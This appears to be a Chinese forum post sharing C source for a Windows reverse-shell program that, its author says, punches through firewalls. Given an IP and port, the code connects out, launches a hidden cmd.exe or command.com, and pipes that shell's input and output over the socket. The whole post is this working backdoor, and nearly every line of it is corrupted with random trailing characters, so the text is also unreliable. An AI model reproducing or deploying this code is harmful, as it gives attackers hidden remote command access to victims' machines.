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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ID: tTltcc  
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/* ============================== PrHoN2y5E  
Rebound port in Windows NT =Y-.=}jp;  
By wind,2006/7 9OYyR  
===============================*/ boq=@Qh  
#include l6*MiX]q  
#include %Q]3`kxp  
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#pragma comment(lib,"wsock32.lib") e9RH[:  
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void OutputShell(); O9P+S|hcY  
SOCKET sClient; Zg%tN#6y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n:[@#xs-  
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void main(int argc,char **argv) _\8jnpT:  
{ fK^W6)uuV  
WSADATA stWsaData; s:k ?-u@  
int nRet; Lb?WhjqZ  
SOCKADDR_IN stSaiClient,stSaiServer; ;}Ei #T,D  
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if(argc != 3) ]Cs=EZr  
{ 9W0*|!tQ,+  
printf("Useage:\n\rRebound DestIP DestPort\n"); ypgM&"eR  
return; 5T%2al,F`  
} G6.lRaPu"m  
r+d+gO.  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pr:\zI  
5 JlgnxRq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kY?tUpM!TB  
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stSaiClient.sin_family = AF_INET; OwT_W)$  
stSaiClient.sin_port = htons(0); ,k_"T.w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &~Y%0&F,&  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H| _@9V  
{ {cUGksz]}  
printf("Bind Socket Failed!\n"); aAbA)'G  
return; nU' qE  
} dl"=ZI '^  
== E8^jYJw  
stSaiServer.sin_family = AF_INET; BT&R:_:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :tbgX;tCs5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q 'd]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b*(K;`9)B  
{ F3qCtx *N  
printf("Connect Error!"); |gWA'O0S  
return; v)T# iw[  
} qTK(sW  
OutputShell(); 0 @!huk  
} '#yqw%  
{:3\Ms#  
void OutputShell() <5D4h!  
{ Y6&v&dA;  
char szBuff[1024]; n?nzm "g  
SECURITY_ATTRIBUTES stSecurityAttributes; !qp$Xtf+  
OSVERSIONINFO stOsversionInfo; G^tazAEfo  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]E-3/r$_cO  
STARTUPINFO stStartupInfo; sQ340!  
char *szShell; ;py9,Wno  
PROCESS_INFORMATION stProcessInformation; U#c Gd\b  
unsigned long lBytesRead; umWs8-'Uw  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U+*l!"O,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y%ij)vQY  
stSecurityAttributes.lpSecurityDescriptor = 0; u 3#+fn_  
stSecurityAttributes.bInheritHandle = TRUE; R;!@ xy  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1$eoW/8.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *d jLf.I@  
r@}`Sw]@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4P[MkMoC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]y6 {um8"  
stStartupInfo.wShowWindow = SW_HIDE; #%Bt!#  
stStartupInfo.hStdInput = hReadPipe; ']TWWwj$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Bkd$'7UT  
2=- .@,6  
GetVersionEx(&stOsversionInfo); ,IyQmN y  
#?Kw y  
switch(stOsversionInfo.dwPlatformId) 2L1y4nnbwo  
{ 2PYnzAsl  
case 1: pe vXixl  
szShell = "command.com"; =4MTb_  
break; Vt(Wy  
default: _i {Y0d+  
szShell = "cmd.exe"; 9tJ0O5  
break; sJ|pR=g)!  
} e?.j8 Q ~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~jL%l  
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send(sClient,szMsg,77,0); p /-du^:2  
while(1) *rmC3'}s  
{ ?4%H(k5A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [(@K;6o  
if(lBytesRead) kScZ P8yw  
{ _K9`o^g%PJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^AH[]sE_  
send(sClient,szBuff,lBytesRead,0); gLX<> |)*  
} 4HGT gS  
else i8V\x>9  
{ IqYJ  
lBytesRead=recv(sClient,szBuff,1024,0); _# sy  
if(lBytesRead<=0) break; uP'L6p5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uC;_?Bve  
} 3<&:av3  
} YSeH;<'  
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return; \W .CHSD  
}
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